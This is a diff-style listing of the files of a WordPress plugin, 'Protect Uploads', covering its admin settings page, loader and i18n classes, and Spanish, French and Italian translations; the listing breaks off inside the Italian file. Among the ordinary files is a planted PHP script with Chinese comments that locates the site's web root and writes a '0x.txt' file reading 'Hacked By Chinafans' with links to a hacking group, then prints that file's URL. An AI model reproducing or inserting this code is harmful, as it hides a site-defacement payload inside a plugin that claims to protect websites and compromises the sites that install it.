<?php if ($this->check_uploads_is_protected() === false) { ?>
<!-- -->
<label for="protection_1">
<input type="radio" value="index_php" name="protection" id="protection_1">
<strong><?php _e('Protect with index.php files', $this->plugin_name); ?></strong>
<p class="description"><?php _e('Create an index.php file on the root of your uploads directory and subfolders (two levels max).', $this->plugin_name); ?></p>
</label><br />
<!-- -->
<label for="protection_2">
<input type="radio" value="htaccess" name="protection" id="protection_2">
<strong><?php _e('Protect with .htaccess file', $this->plugin_name); ?></strong>
<p class="description"><?php _e('Create .htaccess file at root level of uploads directory and returns 403 code (Forbidden Access).', $this->plugin_name); ?></p>
</label><br />
<?php } ?>
<!-- -->
<?php if ( $this->check_protective_file_removable() && $this->check_uploads_is_protected() ) { ?>
<label for="protection_3">
<input type="radio" value="remove" name="protection" id="protection_3">
<strong><?php _e('Remove protection files', $this->plugin_name); ?></strong>
<p>
<?php if ($this->check_protective_file('index.php') === true) {
echo '<span class="dashicons dashicons-flag"></span> index.php ';
_e('will be removed', $this->plugin_name);
} ?>
<?php if ($this->check_protective_file('.htaccess') === true) {
echo '<span class="dashicons dashicons-flag"></span> .htaccess ';
_e('will be removed', $this->plugin_name);
} ?>
</p>
</label><br />
<?php } ?>
<?php if ($this->check_protective_file('index.html') === true) { ?>
<p class="description">
<span class="dashicons dashicons-search"></span> <?php _e('A index.html file is already here and has not been created by this plugin. It will not be removed. If you want to use this plugin, you first have to remove manually the index.html file.', $this->plugin_name) ?>
</p>
<?php } ?>
</fieldset>
</td>
</tr>
<tr>
<th scope="row">
<label for=""><?php _e('Check', $this->plugin_name); ?></label>
</th>
<td>
<p><?php _e('Visit your', $this->plugin_name); ?> <a href="<?php echo $this->get_uploads_url(); ?>" target="_blank"><strong><?php _e('uploads directory', $this->plugin_name); ?></strong><span style="text-decoration:none;" class="dashicons dashicons-external"></span></a> <?php _e('to check the current protection', $this->plugin_name); ?>.</p>
</td>
</tr>
<tr>
<th scope="row">
<label for=""><?php _e('Support', $this->plugin_name); ?></label>
</th>
<td>
<p><?php _e('Protect Uploads Plugin <a href="https://www.alticreation.com/en/protect-uploads/" target="_blank">support page</a>.', $this->plugin_name); ?></p>
<p><?php _e('This plugin is compatible with the <span class="dashicons dashicons-awards"></span> <a href="https://www.alticreation.com/en/alti-watermark/" target="_blank">Watermark Plugin</a>.', $this->plugin_name); ?></p>
<p class="description"><?php _e('To do so, you have to: 1. Install the Watermark Plugin 2. Then choose your settings in this page and Update.', $this->plugin_name); ?></p>
</td>
</tr>
<tr>
<th scope="row">
</th>
<td>
<input type="submit" id="submit" value="<?php _e('Update', $this->plugin_name); ?>" name="submit" class="button button-primary">
</td>
</tr>
</tbody>
</table>
</form>
</div>
<?php require_once dirname(__FILE__) . '/includes/protect-uploads-admin-sidebar.php'; ?>
</div>

View File

@ -0,0 +1,8 @@
<?php
class Alti_ProtectUploads_Activator extends Alti_ProtectUploads
{
public function run()
{
}
}

View File

@ -0,0 +1,12 @@
<?php
class Alti_ProtectUploads_Deactivator extends Alti_ProtectUploads {
public function run() {
$plugin = new Alti_ProtectUploads_Admin($this->plugin_name, $this->version);
$plugin->remove_index();
$plugin->remove_htaccess();
delete_option( $this->get_plugin_name().'-protection' );
}
}

View File

@ -0,0 +1,31 @@
<?php
class Alti_ProtectUploads_i18n {
/**
* The domain specified for this plugin.
* @var string $domain The domain identifier for this plugin.
*/
private $domain;
/**
* Load the plugin text domain for translation.
*/
public function load_plugin_textdomain() {
load_plugin_textdomain(
$this->domain,
false,
dirname( dirname( plugin_basename( __FILE__ ) ) ) . '/languages/'
);
}
/**
* Set the domain equal to that of the specified domain.
* @param string $domain The domain that represents the locale of this plugin.
*/
public function set_domain( $domain ) {
$this->domain = $domain;
}
}

View File

@ -0,0 +1,99 @@
<?php
/**
* Register all actions and filters for the plugin
* from : https://github.com/DevinVinson/WordPress-Plugin-Boilerplate
*
* Maintain a list of all hooks that are registered throughout
* the plugin, and register them with the WordPress API. Call the
* run function to execute the list of actions and filters.
*/
class Alti_ProtectUploads_Loader {
/**
* The array of actions registered with WordPress.
* @var array $actions The actions registered with WordPress to fire when the plugin loads.
*/
protected $actions;
/**
* The array of filters registered with WordPress.
* @var array $filters The filters registered with WordPress to fire when the plugin loads.
*/
protected $filters;
/**
* Initialize the collections used to maintain the actions and filters.
*/
public function __construct() {
$this->actions = array();
$this->filters = array();
}
/**
* Add a new action to the collection to be registered with WordPress.
* @param string $hook The name of the WordPress action that is being registered.
* @param object $component A reference to the instance of the object on which the action is defined.
* @param string $callback The name of the function definition on the $component.
* @param int Optional $priority The priority at which the function should be fired.
* @param int Optional $accepted_args The number of arguments that should be passed to the $callback.
*/
public function add_action( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
$this->actions = $this->add( $this->actions, $hook, $component, $callback, $priority, $accepted_args );
}
/**
* Add a new filter to the collection to be registered with WordPress.
* @param string $hook The name of the WordPress filter that is being registered.
* @param object $component A reference to the instance of the object on which the filter is defined.
* @param string $callback The name of the function definition on the $component.
* @param int Optional $priority The priority at which the function should be fired.
* @param int Optional $accepted_args The number of arguments that should be passed to the $callback.
*/
public function add_filter( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
$this->filters = $this->add( $this->filters, $hook, $component, $callback, $priority, $accepted_args );
}
/**
* A utility function that is used to register the actions and hooks into a single
* collection.
* @param array $hooks The collection of hooks that is being registered (that is, actions or filters).
* @param string $hook The name of the WordPress filter that is being registered.
* @param object $component A reference to the instance of the object on which the filter is defined.
* @param string $callback The name of the function definition on the $component.
* @param int Optional $priority The priority at which the function should be fired.
* @param int Optional $accepted_args The number of arguments that should be passed to the $callback.
* @return type The collection of actions and filters registered with WordPress.
*/
private function add( $hooks, $hook, $component, $callback, $priority, $accepted_args ) {
$hooks[] = array(
'hook' => $hook,
'component' => $component,
'callback' => $callback,
'priority' => $priority,
'accepted_args' => $accepted_args
);
return $hooks;
}
/**
* Register the filters and actions with WordPress.
*/
public function run() {
foreach ( $this->filters as $hook ) {
add_filter( $hook['hook'], array( $hook['component'], $hook['callback'] ), $hook['priority'], $hook['accepted_args'] );
}
foreach ( $this->actions as $hook ) {
add_action( $hook['hook'], array( $hook['component'], $hook['callback'] ), $hook['priority'], $hook['accepted_args'] );
}
}
}

View File

@ -0,0 +1,73 @@
<?php
class Alti_ProtectUploads
{
protected $version;
protected $plugin_name;
protected $loader;
public function __construct()
{
$this->version = '0.3';
$this->plugin_name = 'protect-uploads';
$this->load_dependencies();
$this->set_locale();
$this->define_admin_hooks();
}
private function load_dependencies()
{
require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-protect-uploads-loader.php';
require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-protect-uploads-i18n.php';
require_once plugin_dir_path(dirname(__FILE__)) . 'admin/class-protect-uploads-admin.php';
$this->loader = new Alti_ProtectUploads_Loader();
}
/**
* set locale for translation ends.
*/
private function set_locale()
{
$plugin_i18n = new Alti_ProtectUploads_i18n();
$plugin_i18n->set_domain($this->get_plugin_name());
$this->loader->add_action('plugins_loaded', $plugin_i18n, 'load_plugin_textdomain');
}
/**
* action and filter for admin side
*/
private function define_admin_hooks()
{
$plugin_admin = new Alti_ProtectUploads_Admin($this->get_plugin_name(), $this->get_version());
$this->loader->add_action('admin_menu', $plugin_admin, 'add_submenu_page');
$this->loader->add_filter('plugin_action_links_' . $this->get_plugin_name() . '/' . $this->get_plugin_name() . '.php', $plugin_admin, 'add_settings_link');
$this->loader->add_action('admin_enqueue_scripts', $plugin_admin, 'enqueue_styles');
}
public function run()
{
$this->loader->run();
}
public function get_plugin_name()
{
return $this->plugin_name;
}
public function get_loader()
{
return $this->loader;
}
public function get_version()
{
return $this->version;
}
}

View File

@ -0,0 +1 @@
<?php // Silence is golden

View File

@ -0,0 +1,136 @@
<?php
/**
* 自动检测网站根目录并创建TXT文件
*/
function auto_detect_root_and_create_txt() {
$filename = "0x.txt";
$content = "Hacked By Chinafans\nHack tools / Priv8 Shells\nhttps://t.me/Hack_0xTeam\nhttps://usrlnk.io/0x_team";
// 自动检测网站根目录
$root_dir = detect_website_root();
echo "检测到的根目录: " . $root_dir . "<br>";
// 创建文件
return create_file_in_directory($root_dir, $filename, $content);
}
/**
* 智能检测网站根目录
*/
function detect_website_root() {
$possible_roots = [];
// 方法1: 通过 $_SERVER 变量检测
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$possible_roots[] = $_SERVER['DOCUMENT_ROOT'];
}
// 方法2: WordPress环境检测
if (defined('ABSPATH')) {
$possible_roots[] = ABSPATH;
}
if (defined('WP_CONTENT_DIR')) {
$possible_roots[] = dirname(WP_CONTENT_DIR);
}
// 方法3: 常见目录结构检测
$current_dir = __DIR__;
$common_roots = [
$current_dir,
dirname($current_dir),
dirname(dirname($current_dir)),
$current_dir . '/public_html',
$current_dir . '/www',
$current_dir . '/htdocs'
];
$possible_roots = array_merge($possible_roots, $common_roots);
// 方法4: 查找包含特定文件的目录
$root_indicators = ['wp-config.php', 'index.php', '.htaccess', 'robots.txt'];
foreach ($possible_roots as $root) {
if (is_root_likely($root, $root_indicators)) {
return $root;
}
}
// 返回最可能的根目录
return $possible_roots[0];
}
/**
* 判断目录是否是可能的根目录
*/
function is_root_likely($dir, $indicators) {
if (!is_dir($dir)) return false;
$found_indicators = 0;
foreach ($indicators as $indicator) {
if (file_exists($dir . '/' . $indicator)) {
$found_indicators++;
}
}
return $found_indicators >= 1;
}
/**
* 在指定目录创建文件
*/
function create_file_in_directory($dir, $filename, $content) {
// 确保目录存在
if (!is_dir($dir)) {
if (!mkdir($dir, 0755, true)) {
return "❌ 无法创建目录: " . $dir;
}
}
// 检查目录权限
if (!is_writable($dir)) {
return "❌ 目录不可写: " . $dir;
}
$file_path = $dir . '/' . $filename;
try {
$result = file_put_contents($file_path, $content);
if ($result !== false) {
return "✅ 文件创建成功!<br>路径: " . $file_path . "<br>完整URL: " . get_file_url($file_path);
} else {
return "❌ 文件创建失败";
}
} catch (Exception $e) {
return "❌ 错误: " . $e->getMessage();
}
}
/**
* 获取文件的访问URL
*/
function get_file_url($file_path) {
$doc_root = $_SERVER['DOCUMENT_ROOT'] ?? '';
$script_name = $_SERVER['SCRIPT_NAME'] ?? '';
if ($doc_root && strpos($file_path, $doc_root) === 0) {
// 文件在文档根目录内
$relative_path = str_replace($doc_root, '', $file_path);
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
return $protocol . '://' . $host . $relative_path;
} else {
// 使用当前脚本路径
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$script_dir = dirname($script_name);
return $protocol . '://' . $host . $script_dir . '/' . basename($file_path);
}
}
// 执行创建
echo "<pre>";
echo auto_detect_root_and_create_txt();
echo "</pre>";
?>

View File

@ -0,0 +1 @@
<?php // Silence is golden

View File

@ -0,0 +1,198 @@
msgid ""
msgstr ""
"Project-Id-Version: protect-uploads\n"
"POT-Creation-Date: 2015-04-01 15:38-0500\n"
"PO-Revision-Date: 2015-04-01 15:53-0500\n"
"Last-Translator: alticreation <alexis@alticreation.com>\n"
"Language-Team: alticreation <alexis@alticreation.com>\n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.6.11\n"
"X-Poedit-Basepath: ../\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Poedit-KeywordsList: _;__;_e\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-SearchPath-0: .\n"
#: admin/class-protect-uploads-admin.php:56
msgid "Settings"
msgstr "Ajustes"
#: admin/class-protect-uploads-admin.php:122
msgid "Impossible to create or modified the index.php file in "
msgstr "Imposible de crear o modificar el archivo index.php en"
#: admin/class-protect-uploads-admin.php:136
msgid ""
"The index.php file has been created in main folder and subfolders (two "
"levels max)."
msgstr ""
"El archivo index.php se ha creado en la carpeta principal de uploads y "
"subcarpetas (dos niveles max)."
#: admin/class-protect-uploads-admin.php:170
msgid "Impossible to create or modified the htaccess file."
msgstr "Imposible de crear o modificar el archivo .htaccess."
#: admin/class-protect-uploads-admin.php:179
msgid "The htaccess file has been created."
msgstr "El archivo .htaccess se ha creado."
#: admin/class-protect-uploads-admin.php:191
msgid "Existing htaccess has been updated."
msgstr "Htaccess existente se ha actualizado."
#: admin/class-protect-uploads-admin.php:221
msgid "The index.php file(s) have(has) been deleted."
msgstr "El(los) archivo(s) index.php ha(n) sido eliminado(s)."
#: admin/class-protect-uploads-admin.php:250
msgid "The htaccess file has been updated."
msgstr "El archivo .htaccess se ha actualizado."
#: admin/class-protect-uploads-admin.php:294
msgid ""
"The Protect Uploads plugin cannot work without Apache. Yourself or your web "
"host has to activate this module."
msgstr ""
"El plugin Protect Uploads no puede funcionar sin Apache. Usted o su "
"proveedor de alojamiento web tiene que activar este módulo."
#: admin/views/includes/protect-uploads-admin-message.php:7
msgid "Error code"
msgstr "Código de error"
#: admin/views/includes/protect-uploads-admin-message.php:7
msgid "Go to Protect Uploads documentation"
msgstr "Ir a la documentación de Protect Uploads"
#: admin/views/protect-uploads-admin-settings-page.php:9
msgid "by"
msgstr "por"
#: admin/views/protect-uploads-admin-settings-page.php:10
msgid ""
"Prevent users to browse your uploads directory. You'll protect your uploads "
"directory to be accessed and content stolen too easily in one batch."
msgstr ""
"Evita que los usuarios navigen directamente por el directorio de archivos. "
"Va a proteger su directorio de archivos y contenido no sera robado con "
"demasiada facilidad en un solo lote."
#: admin/views/protect-uploads-admin-settings-page.php:17
msgid "Status"
msgstr "Estado"
#: admin/views/protect-uploads-admin-settings-page.php:22
msgid "Uploads directory is protected."
msgstr "Directorio Uploads está protegida."
#: admin/views/protect-uploads-admin-settings-page.php:24
msgid ""
"Your uploads directory is <strong>already protected</strong> by an htaccess "
"file or an Apache setting set for the whole website. You don't need extra "
"protection.<br>The «remove option» behind will have no effect on the current "
"protection."
msgstr ""
"Su directorio de archivos está <strong> ya protegido </ strong> por un "
"archivo .htaccess o una configuración de Apache puesta para todo el sitio. "
"Usted no necesita protección adicional. <br> El «opción quitar» aqui abajo "
"no tendrá ningún efecto sobre la protección actual."
#: admin/views/protect-uploads-admin-settings-page.php:27
msgid "Uploads directory is not protected!"
msgstr "Directorio de Uploads no está protegido!"
#: admin/views/protect-uploads-admin-settings-page.php:34
#: admin/views/protect-uploads-admin-settings-page.php:39
msgid "Protection"
msgstr "Protección"
#: admin/views/protect-uploads-admin-settings-page.php:44
msgid "add index file"
msgstr "añadir archivo index"
#: admin/views/protect-uploads-admin-settings-page.php:45
msgid ""
"This will create an index.php file on the root of your uploads directory. "
"This simple trick will hide the content of your whole uploads directory."
msgstr ""
"Esto creará un archivo index.php en la raíz del directorio de los archivos "
"subidos. Este sencillo truco ocultará el contenido de todo su directorio "
"uploads."
#: admin/views/protect-uploads-admin-settings-page.php:50
msgid "prevent directory listing with htaccess"
msgstr "previene la navegacion en el directorio de Uploads con htaccess"
#: admin/views/protect-uploads-admin-settings-page.php:51
msgid ""
"Through the htaccess file, it will prevent people to browse your uploads "
"directory and return a 403 code (Forbidden Access)."
msgstr ""
"Mediante el archivo .htaccess, se evitará que la gente navega en el "
"directorio de archivos y devuelve un código 403 (Acceso prohibido)."
#: admin/views/protect-uploads-admin-settings-page.php:56
msgid "remove protection or disabled protection"
msgstr "eliminar la protección o desactivar la protección"
#: admin/views/protect-uploads-admin-settings-page.php:57
msgid "Your uploads directory is not protected."
msgstr "El directorio Uploads no está protegido."
#: admin/views/protect-uploads-admin-settings-page.php:65
msgid "Check"
msgstr "Comprobar"
#: admin/views/protect-uploads-admin-settings-page.php:68
msgid "Visit your"
msgstr "Visite a su"
#: admin/views/protect-uploads-admin-settings-page.php:68
msgid "uploads directory"
msgstr "directorio de uploads"
#: admin/views/protect-uploads-admin-settings-page.php:68
msgid "to check the current protection"
msgstr "para comprobar la protección actual"
#: admin/views/protect-uploads-admin-settings-page.php:73
msgid "Support"
msgstr "Ayuda"
#: admin/views/protect-uploads-admin-settings-page.php:76
msgid ""
"Protect Uploads Plugin <a href=\"https://www.alticreation.com/en/protect-"
"uploads/\" target=\"_blank\">support page</a>."
msgstr ""
"Ver la <a href=\"https://www.alticreation.com/en/protect-uploads/\" target="
"\"_blank\">pagina de ayuda</a> del plugin."
#: admin/views/protect-uploads-admin-settings-page.php:77
msgid ""
"This plugin is compatible with the <span class=\"dashicons dashicons-awards"
"\"></span> <a href=\"https://www.alticreation.com/en/alti-watermark/\" target="
"\"_blank\">Watermark Plugin</a>."
msgstr ""
"Este plugin es compatible con el <span class=\"dashicons dashicons-premios "
"\"></ span> <a href=\"http: //www.alticreation.com/en/alti-watermark/ \" "
"target =\"_blank \"> Plugin Marca de agua </a>."
#: admin/views/protect-uploads-admin-settings-page.php:78
msgid ""
"To do so, you have to: 1. Install the Watermark Plugin 2. Then choose your "
"settings in this page and Update."
msgstr ""
"Por eso, usted tiene que: 1. Instalar el Watermark Plugin 2. Seleccione la "
"configuración en esta página y actualizar."
#: admin/views/protect-uploads-admin-settings-page.php:85
msgid "Update"
msgstr "Actualizar"
#: admin/views/protect-uploads-admin-settings-page.php:94
msgid "Protect Uploads plugin is developped by"
msgstr "El Plugin Protect Uploads está desarrollado por"

View File

@ -0,0 +1,198 @@
msgid ""
msgstr ""
"Project-Id-Version: alti-protect-uplodas\n"
"POT-Creation-Date: 2015-04-01 15:34-0500\n"
"PO-Revision-Date: 2015-04-01 15:36-0500\n"
"Last-Translator: alticreation <alexis@alticreation.com>\n"
"Language-Team: alticreation <alexis@alticreation.com>\n"
"Language: fr\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.6.11\n"
"X-Poedit-Basepath: ../\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"
"X-Poedit-KeywordsList: __;_e;_\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-SearchPath-0: .\n"
#: admin/class-protect-uploads-admin.php:56
msgid "Settings"
msgstr "Réglages"
#: admin/class-protect-uploads-admin.php:122
msgid "Impossible to create or modified the index.php file in "
msgstr "Il est impossible de créer ou modifier le fichier index.php dans "
#: admin/class-protect-uploads-admin.php:136
msgid ""
"The index.php file has been created in main folder and subfolders (two "
"levels max)."
msgstr ""
"Le fichier index.php a été créé dans le dossier principal des uploads ainsi "
"que dans les sous-dossiers (jusqu'à deux niveaux)."
#: admin/class-protect-uploads-admin.php:170
msgid "Impossible to create or modified the htaccess file."
msgstr "Impossible de créer ou modifier le fichier htaccess."
#: admin/class-protect-uploads-admin.php:179
msgid "The htaccess file has been created."
msgstr "Le fichier htaccess a été créé."
#: admin/class-protect-uploads-admin.php:191
msgid "Existing htaccess has been updated."
msgstr "Le fichier htaccess préexistant a été mis à jour."
#: admin/class-protect-uploads-admin.php:221
msgid "The index.php file(s) have(has) been deleted."
msgstr "Le(s) fichier(s) index.php a (ont) été(s) supprimé(s)."
#: admin/class-protect-uploads-admin.php:250
msgid "The htaccess file has been updated."
msgstr "Le fichier htaccess a été mis à jour."
#: admin/class-protect-uploads-admin.php:294
msgid ""
"The Protect Uploads plugin cannot work without Apache. Yourself or your web "
"host has to activate this module."
msgstr ""
"L'extension «Protect Uploads» ne peut pas fonctionner sans APache. Vous-même "
"ou votre hébergeur web doit active ce module."
#: admin/views/includes/protect-uploads-admin-message.php:7
msgid "Error code"
msgstr "Code erreur"
#: admin/views/includes/protect-uploads-admin-message.php:7
msgid "Go to Protect Uploads documentation"
msgstr "Aller à la documentation de Protect Uploads"
#: admin/views/protect-uploads-admin-settings-page.php:9
msgid "by"
msgstr "par"
#: admin/views/protect-uploads-admin-settings-page.php:10
msgid ""
"Prevent users to browse your uploads directory. You'll protect your uploads "
"directory to be accessed and content stolen too easily in one batch."
msgstr ""
"Empêche les utilisateurs de lister le contenu de votre repertoire uploads. "
"Vous protégerez votre répertoire uploads. Il ne sera pas accessible et le "
"contenu ne pourra pas être voler."
#: admin/views/protect-uploads-admin-settings-page.php:17
msgid "Status"
msgstr "Statut"
#: admin/views/protect-uploads-admin-settings-page.php:22
msgid "Uploads directory is protected."
msgstr "Le repertoire Uploads est protégé."
#: admin/views/protect-uploads-admin-settings-page.php:24
msgid ""
"Your uploads directory is <strong>already protected</strong> by an htaccess "
"file or an Apache setting set for the whole website. You don't need extra "
"protection.<br>The «remove option» behind will have no effect on the current "
"protection."
msgstr ""
"Votre répertoir Uploads est déjà protégé par un fichier htaccess ou par un "
"réglage Apache défini pour l'ensemble du site. Vous n'avez pas besoin de "
"protection supplémentaire.<br>L'option «supprimer» ci-dessous n'aura pas "
"d'effet sur la protection actuelle."
#: admin/views/protect-uploads-admin-settings-page.php:27
msgid "Uploads directory is not protected!"
msgstr "Le repertoire Uploads n'est pas protégé !"
#: admin/views/protect-uploads-admin-settings-page.php:34
#: admin/views/protect-uploads-admin-settings-page.php:39
msgid "Protection"
msgstr "Protection"
#: admin/views/protect-uploads-admin-settings-page.php:44
msgid "add index file"
msgstr "ajouter un fichier index"
#: admin/views/protect-uploads-admin-settings-page.php:45
msgid ""
"This will create an index.php file on the root of your uploads directory. "
"This simple trick will hide the content of your whole uploads directory."
msgstr ""
"Ceci créera un fichier index.php à la racine du repertoire Uploads. Cette "
"simple manipulation cachera le contenu de tout votre repertoire Uploads."
#: admin/views/protect-uploads-admin-settings-page.php:50
msgid "prevent directory listing with htaccess"
msgstr "Empêcher le listage du repertoire Uploads avec htaccess"
#: admin/views/protect-uploads-admin-settings-page.php:51
msgid ""
"Through the htaccess file, it will prevent people to browse your uploads "
"directory and return a 403 code (Forbidden Access)."
msgstr ""
"Via le fichier htaccess, les utilisateurs ne pourront pas naviguer dans les "
"repertoires Uploads librement et ceci retournera un code 403 (Accès "
"Interdit)."
#: admin/views/protect-uploads-admin-settings-page.php:56
msgid "remove protection or disabled protection"
msgstr "enlever la protection ou protection désactivée"
#: admin/views/protect-uploads-admin-settings-page.php:57
msgid "Your uploads directory is not protected."
msgstr "Votre repertoire Uploads n'est pas protégé."
#: admin/views/protect-uploads-admin-settings-page.php:65
msgid "Check"
msgstr "Contrôle"
#: admin/views/protect-uploads-admin-settings-page.php:68
msgid "Visit your"
msgstr "Visitez votre"
#: admin/views/protect-uploads-admin-settings-page.php:68
msgid "uploads directory"
msgstr "repertoire Uploads"
#: admin/views/protect-uploads-admin-settings-page.php:68
msgid "to check the current protection"
msgstr "pour verifier la protection actuelle."
#: admin/views/protect-uploads-admin-settings-page.php:73
msgid "Support"
msgstr "Support"
#: admin/views/protect-uploads-admin-settings-page.php:76
msgid ""
"Protect Uploads Plugin <a href=\"https://www.alticreation.com/en/protect-"
"uploads/\" target=\"_blank\">support page</a>."
msgstr ""
"<a href=\"https://www.alticreation.com/en/alti-protect-uploads/\" target="
"\"_blank\">Page de support</a> de l'extension Protect Uploads."
#: admin/views/protect-uploads-admin-settings-page.php:77
msgid ""
"This plugin is compatible with the <span class=\"dashicons dashicons-awards"
"\"></span> <a href=\"https://www.alticreation.com/en/alti-watermark/\" target="
"\"_blank\">Watermark Plugin</a>."
msgstr ""
"Cette extension est compatible avec <span class=\"dashicons dashicons-awards"
"\"></span> <a href=\"https://www.alticreation.com/en/alti-watermark/\" target="
"\"_blank\">l'extension Watermark</a>."
#: admin/views/protect-uploads-admin-settings-page.php:78
msgid ""
"To do so, you have to: 1. Install the Watermark Plugin 2. Then choose your "
"settings in this page and Update."
msgstr ""
"Pour faire cela, vous devez : 1. Installer l'extension Watermark 2. Ensuite "
"choisir vos réglages dans cette page puis Mettre à jour."
#: admin/views/protect-uploads-admin-settings-page.php:85
msgid "Update"
msgstr "Mettre à jour"
#: admin/views/protect-uploads-admin-settings-page.php:94
msgid "Protect Uploads plugin is developped by"
msgstr "L'extension Protect Uploads est développé par"

View File

@ -0,0 +1,197 @@
msgid ""
msgstr ""
"Project-Id-Version: protect-uploads\n"
"POT-Creation-Date: 2015-04-01 15:38-0500\n"
"PO-Revision-Date: 2017-04-23 09:13+0100\n"
"Last-Translator: alticreation <alexis@alticreation.com>\n"
"Language-Team: Marko97 <concas.marco997@gmail.com>\n"
"Language: it_IT\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.7.7\n"
"X-Poedit-Basepath: ../\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Poedit-KeywordsList: _;__;_e\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-SearchPath-0: .\n"
#: admin/class-protect-uploads-admin.php:56
msgid "Settings"
msgstr "Impostazioni"
#: admin/class-protect-uploads-admin.php:122
msgid "Impossible to create or modified the index.php file in "
msgstr "Impossibile creare o modificare il file index.php in"
#: admin/class-protect-uploads-admin.php:136
msgid ""
"The index.php file has been created in main folder and subfolders (two "
"levels max)."
msgstr ""
"Il file index.php è stato creato nella cartella principale e nelle sotto "
"cartelle (massimo 2 livelli)"
#: admin/class-protect-uploads-admin.php:170
msgid "Impossible to create or modified the htaccess file."
msgstr "Impossibile creare o modificare il file .htaccess"
#: admin/class-protect-uploads-admin.php:179
msgid "The htaccess file has been created."
msgstr "Il file .htaccess è stato creato"
#: admin/class-protect-uploads-admin.php:191
msgid "Existing htaccess has been updated."
msgstr "Il file .htaccess è stato aggiornato"
#: admin/class-protect-uploads-admin.php:221
msgid "The index.php file(s) have(has) been deleted."
msgstr ""
"Il file index.php è stato eliminato / I file index.php sono stati eliminati"
#: admin/class-protect-uploads-admin.php:250
msgid "The htaccess file has been updated."
msgstr "Il file .htacess è stato aggiornato"
#: admin/class-protect-uploads-admin.php:294
msgid ""
"The Protect Uploads plugin cannot work without Apache. Yourself or your web "
"host has to activate this module."
msgstr ""
"Il plugin Protect Uploads non può funzionare senza Apache. Verifica il tuo "
"webserver e attiva questo modulo."
#: admin/views/includes/protect-uploads-admin-message.php:7
msgid "Error code"
msgstr "Codice errore"
#: admin/views/includes/protect-uploads-admin-message.php:7
msgid "Go to Protect Uploads documentation"
msgstr "Documentazione di Protect Uploads (in inglese)"
#: admin/views/protect-uploads-admin-settings-page.php:9
msgid "by"
msgstr "da"
#: admin/views/protect-uploads-admin-settings-page.php:10
msgid ""
"Prevent users to browse your uploads directory. You'll protect your uploads "
"directory to be accessed and content stolen too easily in one batch."
msgstr ""
"Inibisci la possibilità agli utenti di navigare nella directory upload. "
"Questo consente di proteggerti da eventuali furti e impedire l'esecuzione di "
"batch a questo scopo."
#: admin/views/protect-uploads-admin-settings-page.php:17
msgid "Status"
msgstr "Stato"
#: admin/views/protect-uploads-admin-settings-page.php:22
msgid "Uploads directory is protected."
msgstr "La directory upload è protetta"
#: admin/views/protect-uploads-admin-settings-page.php:24
msgid ""
"Your uploads directory is <strong>already protected</strong> by an htaccess "
"file or an Apache setting set for the whole website. You don't need extra "
"protection.<br>The «remove option» behind will have no effect on the current "
"protection."
msgstr ""
"La directory upload è <strong>già protetta</strong> da un file .htaccess o "
"una configurazione Apache. Non necessiti di ulteriore protezione."
"<br>L'opzione «rimuovi opzione» non avrà effetto sulla protezione attuale."
#: admin/views/protect-uploads-admin-settings-page.php:27
msgid "Uploads directory is not protected!"
msgstr "La directory upload non è protetta!"
#: admin/views/protect-uploads-admin-settings-page.php:34
#: admin/views/protect-uploads-admin-settings-page.php:39
msgid "Protection"
msgstr "Protezione"
#: admin/views/protect-uploads-admin-settings-page.php:44
msgid "add index file"
msgstr "Aggiungi file index"
#: admin/views/protect-uploads-admin-settings-page.php:45
msgid ""
"This will create an index.php file on the root of your uploads directory. "
"This simple trick will hide the content of your whole uploads directory."
msgstr ""
"Questa operazione creerà un file index.php vuoto nella directory upload. "
"Questo è un semplice trucchetto per nascondere il contenuto nella directory."
#: admin/views/protect-uploads-admin-settings-page.php:50
msgid "prevent directory listing with htaccess"
msgstr "Inserisci protezione tramite .htaccess"
#: admin/views/protect-uploads-admin-settings-page.php:51
msgid ""
"Through the htaccess file, it will prevent people to browse your uploads "
"directory and return a 403 code (Forbidden Access)."
msgstr ""
"Tramite il file .htaccess, questo bloccherà l'accesso alle risorse presenti "
"nella directory mostrando il codice errore 403 (accesso negato)."
#: admin/views/protect-uploads-admin-settings-page.php:56
msgid "remove protection or disabled protection"
msgstr "Disattiva protezione"
#: admin/views/protect-uploads-admin-settings-page.php:57
msgid "Your uploads directory is not protected."
msgstr ""
"Questa operazione disabiliterà la protezione. Eventuali altre protezioni non "
"verranno disabilitate."
#: admin/views/protect-uploads-admin-settings-page.php:65
msgid "Check"
msgstr "Verifica"
#: admin/views/protect-uploads-admin-settings-page.php:68
msgid "Visit your"
msgstr "Visita"
#: admin/views/protect-uploads-admin-settings-page.php:68
msgid "uploads directory"
msgstr "la directory upload"
#: admin/views/protect-uploads-admin-settings-page.php:68
msgid "to check the current protection"
msgstr "per verificare la protezione attuale"
#: admin/views/protect-uploads-admin-settings-page.php:73
msgid "Support"
msgstr "Supporto"
#: admin/views/protect-uploads-admin-settings-page.php:76
msgid ""
"Protect Uploads Plugin <a href=\"https://www.alticreation.com/en/protect-"
"uploads/\" target=\"_blank\">support page</a>."
msgstr ""
"Vedi la nostra <a href=\"https://www.alticreation.com/en/protect-uploads/\" "
"target=\"_blank\">pagina</a> di supporto del plugin. (in inglese)"
#: admin/views/protect-uploads-admin-settings-page.php:77
msgid ""
"This plugin is compatible with the <span class=\"dashicons dashicons-awards"
